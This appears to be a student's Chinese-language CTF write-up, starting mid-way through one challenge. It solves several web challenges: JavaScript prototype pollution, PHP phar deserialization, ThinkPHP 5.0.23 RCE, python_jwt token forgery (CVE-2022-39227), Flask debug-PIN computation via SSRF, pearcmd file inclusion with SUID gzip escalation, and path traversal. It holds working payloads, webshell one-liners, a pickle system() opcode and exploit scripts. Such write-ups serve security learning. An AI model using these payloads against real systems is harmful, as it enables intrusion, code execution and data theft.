if (str.includes("T")) { // T
let delimiter_pos = str.indexOf("T");
delimiter = "T";
date_time = [str.substring(0, delimiter_pos), str.substring(delimiter_pos + 1)];
} else { // space
let subdeli_pos1 = str.indexOf(":");
let subdeli_pos2 = str.indexOf("-");
if (subdeli_pos2 === -1) subdeli_pos2 = str.indexOf("/");
if (subdeli_pos1 === -1 || subdeli_pos2 === -1) date_time = [str];
else {
let subdeli_pos = Math.max(subdeli_pos1, subdeli_pos2);
let meetNumber = false;
while (--subdeli_pos) {
if (/\d/.test(str[subdeli_pos])) meetNumber = true;
if (meetNumber && str[subdeli_pos].trim() === "") {
delimiter = str[subdeli_pos];
date_time = [str.substring(0, subdeli_pos), str.substring(subdeli_pos)];
break;
}
}
if (!meetNumber) date_time = [str];
}
}

if (date_time.length === 1) { // only date
const { yyyy, MM, dd } = getYMD(date_time[0])
if (typeof yyyy === "string" && typeof MM === "string" && typeof dd === "string") {
return new Date(`${yyyy}-${MM}-${dd}T00:00:00` + (opts.UTC ? "Z" : ""));
} else return new Date("Invalid Date");
} else { // date and time
const s1 = date_time[0].trim(), s2 = date_time[1].trim();
let date_str, time_str, UTC = opts.UTC;
if (delimiter === "T") { // T
if (/Z$/.test(s1)) return new Date("Invalid Date");
UTC = /Z$/.test(s2);
date_str = s1, time_str = s2.slice(-1) === "Z" ? s2.slice(0, -1) : s2;
} else { // space
if (/Z$/.test(s1) || /Z$/.test(s2)) return new Date("Invalid Date");
if (s1.includes(":")) date_str = s2, time_str = s1;
else date_str = s1, time_str = s2;
}
const { yyyy, MM, dd } = getYMD(date_str)
const { HH, mm, ss, fff } = getHMS(time_str)

if (typeof yyyy === "string" && typeof MM === "string" && typeof dd === "string" &&
typeof HH === "string" && typeof mm === "string" && typeof ss === "string") {
return new Date(`${yyyy}-${MM}-${dd}T${HH}:${mm}:${ss}` + (typeof fff === "string" ? `.${fff}` : "") + (UTC ? "Z" : ""));
} else return new Date("Invalid Date");
}
} else return new Date();
}

可以看到createDate函数能够接受两个参数,如果没有传入opts参数,那么直接返回,没有可操作的地方,因此在gitInfo函数中,如果createDate函数的返回值没问题,那么全剧终,利用不了一点,但是如果有问题的话,就会调用catch中的代码,此时是会传入一个opts参数的,因此,第一个目标就是要让createDate函数的返回值出错。

继续往下看,因为我们传入的opts参数中没有format属性,因此下面代码很明显是可以原型链污染控制opts.format的值的

opts.format = opts.format.filter(f => typeof f === “string”)

而对于baseDate,由于DEFAULT_CREATE_DATE_OPTIONS中本身不含baseDate,可直接触发该原型链

opts.baseDate = new Date(opts.baseDate || Date.now());

const createDate = (str, opts) => {
const CopiedDefaultOptions = copyJSON(DEFAULT_CREATE_DATE_OPTIONS)
if (typeof opts === "undefined") opts = CopiedDefaultOptions
if (typeof opts !== "object") opts = { ...CopiedDefaultOptions, UTC: Boolean(opts) };
opts.UTC = typeof opts.UTC === "undefined" ? CopiedDefaultOptions.UTC : Boolean(opts.UTC);
opts.format = opts.format || CopiedDefaultOptions.format;
if (!Array.isArray(opts.format)) opts.format = [opts.format]
opts.format = opts.format.filter(f => typeof f === "string")
.filter(f => {
if (/yy|yyyy|MM|dd|HH|mm|ss|fff/.test(f) === false) {
console.warn(`Invalid format "${f}".`, `At least one format specifier is required.`);
return false;
}
if (`|${f}|`.replace(/yyyy/g, "yy").split(/yy|MM|dd|HH|mm|ss|fff/).includes("")) {
console.warn(`Invalid format "${f}".`, `Delimeters are required between format specifiers.`);
return false;
}
if (f.includes("yyyy") && f.replace(/yyyy/g, "").includes("yy")) {
console.warn(`Invalid format "${f}".`, `"yyyy" and "yy" cannot be used together.`);
return false;
}
return true;
})
opts.baseDate = new Date(opts.baseDate || Date.now());
const getHMS = (time) => {
let regres = /^(\d+) *\: *(\d+)( *\: *(\d+)( *\. *(\d+))?)?$/.exec(time.trim())
if (regres === null) return {}
let [n1, n2, n3, n4] = [regres[1], regres[2], regres[4], regres[6]].map(t => typeof t === "undefined" ? undefined : Number(t));
if (typeof n3 === "undefined") n3 = 0; // 23:59(:59)?
if (0 <= n1 && n1 <= 23 && 0 <= n2 && n2 <= 59 && 0 <= n3 && n3 <= 59) {
// 23:59:59(.999)?
let HH = pad(n1, 2), mm = pad(n2, 2), ss = pad(n3, 2),
fff = typeof n4 === "undefined" ? undefined : pad(n4, 3).substring(0, 3);
const o = { HH, mm, ss }
if (typeof fff !== "undefined") o.fff = fff;
return o;
} else return {}
}

大致意思是将传入的时间先分开成时、分、秒、毫秒,n1=regres[1]=时,n2=regres[2]=分,n3=regres[3]=秒,n4=regres[4]=毫秒,当传入的时间中没有毫秒,最后返回的对象也不会有fff属性。在后面注释fallback to automatic detection的部分,有这样的代码,因此如果getHMS函数返回的对象不存在fff属性,就能触发原型链污染。

const { HH, mm, ss, fff } = getHMS(time_str)

首先考虑如何让createData函数的返回值无效,观察函数的代码,我们发现能够返回的地方有两个,一个实在format模式下,一个是在fallback to automatic detection模式下(先执行format),先看format

if (Number.isSafeInteger(d.getTime())) return d;

从上面代码可以看出想要返回无效值是不可能的,因此我们需要想办法绕过format,根据wp可知此处只需要污染basedata即可绕过,同时format函数中还有一段较为关键的代码

sortTable.forEach((f, i) => {
if (f == "yy") {
let year = Number(regres[i + 1])
year = year < 100 ? (1900 + year) : year;
return argTable["yyyy"] = year;
}
argTable[f] = Number(regres[i + 1])
})

表示支持yy标识符,当年份小于100时,我们认为是20世纪的年份

举例来说,如果format20yy-MM-dd,在format解析字符串2023-10-01时,将解析yy23,输出输出为1923,最终输出的年份是1923-10-01,这一点可以帮助我们获取很早时间的数据。

触发catch的条件是前面try的createDate返回一个无效的日期,或者createDate本身被调用时法神错误

目标:触发createDate错误,或使createDate返回无效日期

最后再看fallback to automatic detection模式,当fff为string时直接返回,结合上文我们可以污染fff为无效的字符,使最后的返回时间无效,执行最开头catch中的内容,此时取得是DEFAULT_CONFIG.min_public_time,也就是min_public_time: “2019-07-08T16:00:00.000Z”,结合之前讲的yy标识符,我们只需要污染format为:yy19-MM-ddTHH:mm:ss.fffZ

就能将返回时间改成1919-07-08T16:00:00.000Z.

也就是说污染baseDate为无效日期即可绕过 format 模式进入 Fallback Auto Detection

routes/info.jstry中用的是config.js中的min_pulic_time,为2019-07-09 00:00:00,不带有毫秒,刚好能够触发fff的原型链污染,为fff指定为无效值即可

到此为止,使用如下的 payload 可以触发catch

{

“contact”:”1”, “reason”:”2”,

“constructor”:{

​ “prototype”:{

​ “baseDate”:”aaa”,

​ “fff”: “bbb”

​ }

}

}

进入catch后,达到了污染format的条件,但是createDate的参数变成了config.default.js中的min_public_time,为2019-07-08T16:00:00.000Z,因此可以构造formatyy19-MM-ddTHH:mm:ss.fffZ

然后基于format的日期匹配会返回1919-07-08T16:00:00.000Z的日期,已经将minTimestamp提早了近一个世纪了

因此最终的payload

{
“contact”:”a”, “reason”:”a”,
“constructor”:{
“prototype”:{
“format”: “yy19-MM-ddTHH:mm:ss.fffZ”,
“baseDate”:”aaa”,
“fff”: “bbb”
}
}
}

污染database和fff来绕过format模式——》

污染format模板使他可以以yy模式匹配min_public_time: “2019-07-08T16:00:00.000Z”——》

所以

Content-Type: application/json的 Header 用POST方法向路径/submit请求即可

然后再请求/info/0,找到含有 flag 的一条数据

image-20240218232807243

flag{63834b07-2417-4e14-b558-96d8511fe3ac}

真的难 做吐了

week5

Unserialize Again

image-20240218234656806

发现提示

image-20240218235042362

image-20240218235155564

找到源码

<?php
highlight_file(__FILE__);
error_reporting(0);
class story{
private $user='admin';
public $pass;
public $eating;
public $God='false';
public function __wakeup(){
$this->user='human';
if(1==1){
die();
}
if(1!=1){
echo $fffflag;
}
}
public function __construct(){
$this->user='AshenOne';
$this->eating='fire';
die();
}
public function __tostring(){
return $this->user.$this->pass;
}
public function __invoke(){
if($this->user=='admin'&&$this->pass=='admin'){
echo $nothing;
}
}
public function __destruct(){
if($this->God=='true'&&$this->user=='admin'){
system($this->eating);
}
else{
die('Get Out!');
}
}
}
if(isset($_GET['pear'])&&isset($_GET['apple'])){
// $Eden=new story();
$pear=$_GET['pear'];
$Adam=$_GET['apple'];
$file=file_get_contents('php://input');
file_put_contents($pear,urldecode($file));
file_exists($Adam);
}
else{
echo '多吃雪梨';
} 多吃雪梨

phar反序列化

测当前页面在/var/www/html下

把php://input的内容写进$pear 中,文件的路径和名称我们都可控,只要大胆猜测当前页面在/var/www/html下即可(做题的经验),将payload:<?php eval($_POST['cmd']);?> urlencode后传入即可。

image-20240219155546050

image-20240219155559071

预期解:

再来讲预期解,能传入文件,有反序列化,又有file_exists()函数,一看就是phar反序列化了,反序列化很简单,只要绕过__wakeup函数即可,查看php版本为7.0.9,只要让真实属性值不匹配即可。

<?php
class story{
public $eating = 'cat /f*';
public $God='true';
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //生成时后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new story();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

将生成的phar.phar文件打开,将2改成大于2的值

image-20240219160051286

因为我们修改了phar.phar的值,因此该文件的签名与修改后的文件不匹配,我们需要用脚本更新签名

from hashlib import sha1

import gzip

file = open(r'D:\phpstudy_pro\WWW\php\phar.phar', 'rb').read() #文件的路径

data = file[:-28] # 获取需要签名的数据
# data = data.replace(b'3:{', b'4:{') #更换属性值,绕过__wakeup

final = file[-8:] # 获取最后8位GBMB标识和签名类型

newfile = data + sha1(data).digest() + final # 数据 + 签名 + 类型 + GBMB

open(r'D:\phpstudy_pro\WWW\php\new.phar', 'wb').write(newfile) # 写入到新的phar文件

newf = gzip.compress(newfile)
with open(r'D:\phpstudy_pro\WWW\php\2.jpg', 'wb') as file: #更改文件后缀
file.write(newf)

改完后上传文件,利用phar协议访问即可

?pear=1.phar&apple=phar://1.phar

好难

Final

image-20240219160453669

thinkphp v5

考虑ThinkPHP版本的漏洞

让它报错看下版本

image-20240219160848137

V5.0.23

然后直接上网搜该版本存在的漏洞:

=ThinkPHP是一款运用极广的PHP开发框架

其5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞

1.访问靶机地址+端口号 进入首页
2.bp抓包变更请求为POST,传入参数,其中pwd为系统执行命令可进行一系列操作
3._method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=pwd

首先抓包进行传参

GET:index.php?s=captcha POST:_method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=1

image-20240219171814208

这个参数1 是可以进行修改的

回显了phpinfo

发现命令执行参数全被ban

上传一句话木马

_method=__construct&filter[]=exec&method=get&server[REQUEST_METHOD]=echo%20'<?php%20eval($_POST['cmd']);?>'%20>%20/var/www/public/1.php

然后蚁剑连接后发现根目录下存在flag文件 但是里面内容没有

image-20240219175455145

可能是没权限

进入终端看一下

image-20240219181234415

rwx 最高权限才能读

查看具有SUID权限的命令

find / -user root -perm -4000 -print 2>/dev/null

image-20240219181608901

没有回显?

image-20240219181704573

但是可以读取

cp /flag_dd3f6380aa0d /dev/stdout

别人的:

image-20240219181732813

flag{95abea1a-063c-437a-89a1-cd7a88b65a38}

Ye’s Pickle

image-20240219183714079

Pickle反序列化和jwt加密

Funweb的python_jwt的CVE-2022-39227

有token:

eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MDgzNDI3MzYsImlhdCI6MTcwODMzOTEzNiwianRpIjoibG81ZVJ4bzNtUFlEWldtNzNSTi1QQSIsIm5iZiI6MTcwODMzOTEzNiwicm9sZSI6Imd1ZXN0IiwidXNlcm5hbWUiOiJib29naXBvcCJ9.GhmLODYuwaap1dMW_moY0tk2fnTGOPzh1hIC6mqeTJQErgGcFLT9kcm-V8h-fRcmZzBAoDk_N02MYDa1S1f13xCdNviItCCi2bJTyG-a05rktpJ5O6Erj5A9TiHmZIU8vr5AJsKgsZ2MdDbQnr0R-cYTiuCQezKe37L0lEBdpT0P9F6HI4tnaXx8asXHb16HH8eavyat5oLLqDx_oqe4vIlOCiDOC4R0ZNz-ySNfoGSGlliOjKqRBNHUb_WyJF37qV5APRuq-qlQqFozzUabQfwFuQvYH0D-YDSEiHtpMuWLumUPCECKsHPs60LXW6_taoB4Cjp9R1sVIecnKjm1Zg

别人的脚本:

import base64
from datetime import timedelta
from json import loads, dumps
from jwcrypto.common import base64url_decode, base64url_encode
def topic(topic):
""" Use mix of JSON and compact format to insert forged claims including long expiration """
[header, payload, signature] = topic.split('.')
parsed_payload = loads(base64url_decode(payload))
parsed_payload['role'] = "admin"
fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':'))))
return '{" ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}'
token = topic('eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2OTc2ODkzNjQsImlhdCI6MTY5NzY4NTc2NCwianRpIjoiOTFvNVVqWXJPTUFmMmRYTVBaajFDUSIsIm5iZiI6MTY5NzY4NTc2NCwicm9sZSI6Imd1ZXN0IiwidXNlcm5hbWUiOiJib29naXBvcCJ9.jc3SP9ETBLURk3lRZZTPsgg-GQIuPpsIBkR710myDdFVy8e1PkVg7vbI4WTj8nnvh_ly9bD2sJJB3MSyXpTRj2ofPTitRjVWf9uZNjG1llWs21aHhjr9JUTPTPrYrQ0DpdvUUGudzV9raR5GSq28Qb_iLEQ4XIWKoGDtFNOvLeqcJcGotR1ygYAuPpTHaX2xidlzSYDbSbBGE55GI1zFS1w1PmsgliAyEJ1Z5IKz5qVZ07D6M-55L15cgWcaoQ9psjCyR4xX4A9GKPlYLwGxLVH0bRRkuyQn2l5JRBAzpMus7qY4srbLwF8XUPqKbje1vaUOt2DAsZA_SeAGw2iziQ')
print(token) opcode=b'''cos
system
(S''
tRcos
system
(S'whoami'
tR.'''
print(base64.b64encode(opcode))

pppython?

 <?php

if ($_REQUEST['hint'] == ["your?", "mine!", "hint!!"]){
header("Content-type: text/plain");
system("ls / -la");
exit();
}

try {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 60);
curl_setopt($ch, CURLOPT_HTTPHEADER, $_REQUEST['lolita']);
$output = curl_exec($ch);
echo $output;
curl_close($ch);
}catch (Error $x){
highlight_file(__FILE__);
highlight_string($x->getMessage());
}

?> curl_setopt(): The CURLOPT_HTTPHEADER option must have an array value

curl?

?hint[0]=your?&hint[1]=mine!&hint[2]=hint!!

image-20240219185041884

有flag文件 但是权限不够 还有一个app.py

用file协议去读取一下app.py的内容

?url=file:///app.py&lolita[]=0

image-20240219185343796

把它整理一下

from flask import Flask, request, session, render_template, render_template_string 
import os, base64
#from NeepuF1Le import neepu_files
app = Flask(__name__)
app.config['SECRET_KEY'] = '******'
@app.route('/')
def welcome():
if session["islogin"] == True:
return "flag{***********************}"
app.run('0.0.0.0', 1314, debug=True)

是一个开了debug的flask监听在1314端口

计算cookie值

#sha1
import hashlib
import time
from itertools import chain
probably_public_bits = [
'root'# /etc/passwd, /etc/shadow验证
'flask.app',# 默认值
'Flask',# 默认值
'/usr/local/lib/python3.10/dist-packages/flask/app.py' # 报错得到]
bid = "8cab9c97-85be-4fb4-9d17-29335d7b2b8a"
did = "12:hugetlb:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-pod9a6962f3_0518_44b9_b39d_99b5cbdcbde2.slice/docker-5393cbb4c79037280b98e5c09ab1df1a765d545afcde1166a1af321b068488e8.scope"
did = did.strip().rpartition("/")[2]
print(did)
private_bits = [
'46292774133529',# /sys/class/net/eth0/address 16进制转10进制
#machine_id由三个合并(docker就后两个):1. /etc/machine-id2./proc/sys/kernel/random/boot_id 3./proc/self/cgroup
bid+did# /proc/sys/kernel/random/boot_id
]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
def hash_pin(pin: str) -> str:
return hashlib.sha1(f"{pin} added salt".encode("utf-8", "replace")).hexdigest()[:12]
print(rv)
print(cookie_name + "=" + f"{int(time.time())}|{hash_pin(rv)}")
#890KUjqCgmGiRRNLpH8a
#http://localhost:1314/console?&__debugger__=yes&cmd=__import__("os").popen("ps").read()&frm=0&s=890KUjqCgmGiRRNLpH8a

结果:__wzd3d910b5d784ac96048c1=1702047018|3fe90e7adf4c

所以:

?lolita[]=Cookie:__wzd3d910b5d784ac96048c1=1702047018|3fe90e7adf4c &url=http://127.0.0.1:1314/console? &__debugger__=yes&pin=200-001-804 &cmd=__import__("os").popen("ls").read() &frm=0 &s=lrLipQkNez3cZzDYShlU

但是:需要对&和空格进行url编码

GET /?lolita[]=Cookie:__wzd3d910b5d784ac96048c1=1702047018|3fe90e7adf4c&url=http://127.0.0.1:1314/console?%26__debugger__=yes%26pin=200-001-804%26cmd=__import__("os").popen("cat%2B/flag").read()%26frm=0%26s=lrLipQkNez3cZzDYShlU

image-20240219191152178

4-复盘

image-20240219191409098

根据前面的misc题可以拿到源码,其中关键代码如下

 <?php         
if (isset($_GET['page'])) {
$page ='pages/' .$_GET['page'].'.php';
}
else
{
$page = 'pages/dashboard.php';
}
if (file_exists($page)) {
require_once $page;
}
else{
require_once 'pages/error_page.php';
} ?>

存在很明显的文件包含漏洞,与week3类似,包含pearcmd.php即可

GET /index.php?+config-create+/&page=/../../../../../usr/local/lib/php/pearcmd&/<?=@eval($_POST[1])?>+/var/www/html/1.php

写入Shell后就是一个SUID提权

find / -user root -perm -4000 -print 2>/dev/null

image-20240219191557322

gzip命令有SUID权限

gzip -f /flag -t

image-20240219191705176

flag{sample_flag}

NextDrive

image-20240219191939079

提示:

image-20240219191955015

随便注册一个账号,把公共资源区的文件都下下来看看,发现这个文件中有蹊跷

test.res.http

HTTP/1.1 200 OK
content-type: application/json; charset=utf-8
content-length: 50
date: Tue, 06 Oct 2023 13:39:21 GMT
connection: keep-alive
keep-alive: timeout=5

{"code":0,"msg":"success","logged":true,"data":[{"name":"すずめ feat.十明 - RADWIMPS,十明.flac","hash":"5da3818f2b481c261749c7e1e4042d4e545c1676752d6f209f2e7f4b0b5fd0cc","size":27471829,"uploader":"admin","uploader_uid":"100000","shareTime":1708341555726,"isYours":true,"isOwn":true,"ownFn":"すずめ feat.十明 - RADWIMPS,十明.flac"},{"name":"Windows 12 Concept.png","hash":"469db0f38ca0c07c3c8726c516e0f967fa662bfb6944a19cf4c617b1aba78900","size":440707,"uploader":"admin","uploader_uid":"100000","shareTime":1708341557215,"isYours":true,"isOwn":true,"ownFn":"Windows 12 Concept.png"},{"name":"信息安全技术信息安全事件分类分级指南.pdf","hash":"03dff115bc0d6907752796fc808fe2ef0b4ea9049b5a92859fd7017d4e96c08f","size":330767,"uploader":"admin","uploader_uid":"100000","shareTime":1708341557290,"isYours":true,"isOwn":true,"ownFn":"信息安全技术信息安全事件分类分级指南.pdf"},{"name":"不限速,就是快!.jpg","hash":"2de8696b9047f5cf270f77f4f00756be985ebc4783f3c553a77c20756bc68f2e","size":32920,"uploader":"admin","uploader_uid":"100000","shareTime":1708341557304,"isYours":true,"isOwn":true,"ownFn":"不限速,就是快!.jpg"},{"name":"test.req.http","hash":"83a065c4db184a69d902a6e5cd56fa43ccb6dc6d0eaee7ae92ebd31ae983e0b4","size":1085,"uploader":"admin","uploader_uid":"100000","shareTime":1708341559212,"isYours":true,"isOwn":true,"ownFn":"test.req.http"}]}

这个文件叫test.req.http 与test.res.http不同 可能有信息泄露

发现在我的资源区可以上传文件,先随便上传一个文件,抓包看看

一共抓到两个包,后一个就是上传文件的请求,前一个check包中应该进行了检测,可以看到我们请求的数据只有hash值和文件名,应该就是根据文件名和hash值来检测的,前文我们已经有了test.req.http的hash值,直接改包上传即可

image-20240219192834401

image-20240219192917184

image-20240219193247047

这时候就能看到资源区出现了1.txt,打开可以看到应该是一个分享文件的请求,发现其中的cookie和我们的不一样,猜测应该是admin对应的cookie

POST /api/info/drive/sharezone HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cache-Control: no-cache
Connection: keep-alive
Content-Length: 0
Content-Type: application/x-www-form-urlencoded
Cookie: uid=100000; token=eyJ1c2VybmFtZSI6ImFkbWluIiwidWlkIjoiMTAwMDAwIiwidG9rZW4iOiIyMTBjZmQ2NTkyZWM0ZjRjMmMzYjljZTY3ZDExNDVmZmQxNWM5MjZlNjI3YmMwYjU2MGUxMmUxNmI2Yjg0ZDg0In0uXh5BcmMxSFBCZV41LSAhLw.XW5QWmdTHl1HLAZLck9MAgs7BQk3ABQKFCoHGSNNTAUPOVgLYldIDRYvUBR3GUwCCTlWDWcBSl0TfwYfdU0aAl1pAQFnABgAEXcFHnAWTgcIOlVbMQAeXUJ4BkghT01RC2hVD2RXHgBHL1MbcRhNXAw+AV1jW0oKR35SG38YS10
Host: localhost:21920
Origin: http://localhost:21920
Pragma: no-cache
Referer: http://localhost:21920/sharezone
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0
sec-ch-ua: "Microsoft Edge";v="119", "Chromium";v="119", "Not?A_Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"

将uid和token修改成上面的内容,发现我们的账号变成了admin。

image-20240219193427513

自己的资源区中有个share.js文件,下载下来看看

const Router = require("koa-router");
const router = new Router();
const CONFIG = require("../../runtime.config.json");
const Res = require("../../components/utils/response");
const FileSignUtil = require("../../components/utils/file-signature");
const { DriveUtil } = require("../../components/utils/database.utilities");
const fs = require("fs");
const path = require("path");
const { verifySession } = require("../../components/utils/session");
const logger = global.logger;

/**
* @deprecated
* ! FIXME: 发现漏洞,请进行修改
*/
router.get("/s/:hashfn", async (ctx, next) => {
const hash_fn = String(ctx.params.hashfn || '')
const hash = hash_fn.slice(0, 64)
const from_uid = ctx.query.from_uid
const custom_fn = ctx.query.fn

// 参数校验
if (typeof hash_fn !== "string" || typeof from_uid !== "string") {
// invalid params or query
ctx.set("X-Error-Reason", "Invalid Params");
ctx.status = 400; // Bad Request
return ctx.res.end();
}

// 是否为共享的文件
let IS_FILE_EXIST = await DriveUtil.isShareFileExist(hash, from_uid)
if (!IS_FILE_EXIST) {
ctx.set("X-Error-Reason", "File Not Found");
ctx.status = 404; // Not Found
return ctx.res.end();
}

// 系统中是否存储有该文件
let IS_FILE_EXIST_IN_STORAGE
try {
IS_FILE_EXIST_IN_STORAGE = fs.existsSync(path.resolve(CONFIG.storage_path, hash_fn))
} catch (e) {
ctx.set("X-Error-Reason", "Internal Server Error");
ctx.status = 500; // Internal Server Error
return ctx.res.end();
}
if (!IS_FILE_EXIST_IN_STORAGE) {
logger.error(`File ${hash_fn.yellow} not found in storage, but exist in database!`)
ctx.set("X-Error-Reason", "Internal Server Error");
ctx.status = 500; // Internal Server Error
return ctx.res.end();
}

// 文件名处理
let filename = typeof custom_fn === "string" ? custom_fn : (await DriveUtil.getFilename(from_uid, hash));
filename = filename.replace(/[\\\/\:\*\"\'\<\>\|\?\x00-\x1F\x7F]/gi, "_")

// 发送
ctx.set("Content-Disposition", `attachment; filename*=UTF-8''${encodeURIComponent(filename)}`);
// ctx.body = fs.createReadStream(path.resolve(CONFIG.storage_path, hash_fn))
await ctx.sendFile(path.resolve(CONFIG.storage_path, hash_fn)).catch(e => {
logger.error(`Error while sending file ${hash_fn.yellow}`)
logger.error(e)
ctx.status = 500; // Internal Server Error
return ctx.res.end();
})
})

module.exports = router;

/s/后的内容为hashfn的值,其中前64位作为hash,请求中的参数from_uid的值作为const from_uid的值,用于后续验证文件是否可共享,是否存在于系统。在通过两个检测后,就会发给客服端,其中对于文件名基本没有过滤,我们通过../穿越目录访问环境变量即可

router.get("/s/:hashfn", async (ctx, next) => {
const hash_fn = String(ctx.params.hashfn || '')
const hash = hash_fn.slice(0, 64)
const from_uid = ctx.query.from_uid
const custom_fn = ctx.query.fn

inux下的环境变量位于/proc/self/environ

最后的payload

curl http://node4.buuoj.cn:29720/s/469db0f38ca0c07c3c8726c516e0f967fa662bfb6944a19cf4c617b1aba78900/../../../../proc/self/environ?from_uid=100000 -o 1.txt

然后看1.txt文件即可

image-20240219193601631

结束了 终于写完了 这week5要写吐了 好难好难好难

接下来就是先把java和反序列化的课看完 然后再补补misc

QAQ